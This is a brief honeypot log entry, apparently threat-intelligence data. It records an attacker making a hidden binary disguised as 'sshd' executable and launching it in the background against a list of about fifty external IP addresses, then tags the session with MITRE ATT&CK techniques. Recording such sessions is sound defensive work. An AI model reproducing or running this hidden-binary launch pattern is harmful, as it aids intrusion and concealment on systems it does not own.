Honeypot attack session (period 2024), commands issued:
chmod +x ./.6853706636487444814/sshd;nohup ./.6853706636487444814/sshd 64.64.231.208 51.159.17.182 188.166.179.83 157.148.77.230 172.245.79.216 101.89.148.216 106.116.209.107 123.207.55.61 114.113.151.152 180.163.61.238 106.74.27.165 37.46.133.127 211.37.174.239 45.82.15.60 34.221.3.139 125.124.199.57 176.97.192.164 125.122.23.150 58.223.177.13 123.184.43.214 116.204.180.81 163.5.194.20 183.131.186.36 23.94.136.106 120.71.147.193 89.116.73.228 154.126.176.254 170.130.165.65 159.203.68.250 144.126.132.126 222.186.10.55 5.250.180.124 51.15.202.128 153.35.80.210 185.124.108.182 193.169.244.205 183.221.214.95 181.113.114.115 103.145.145.82 54.183.169.113 36.99.168.63 150.242.99.17 42.101.33.234 106.116.209.121 202.5.16.82 59.47.5.34 192.3.153.202 104.248.63.189 8.130.40.101 117.148.171.16 140.249.204.169 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter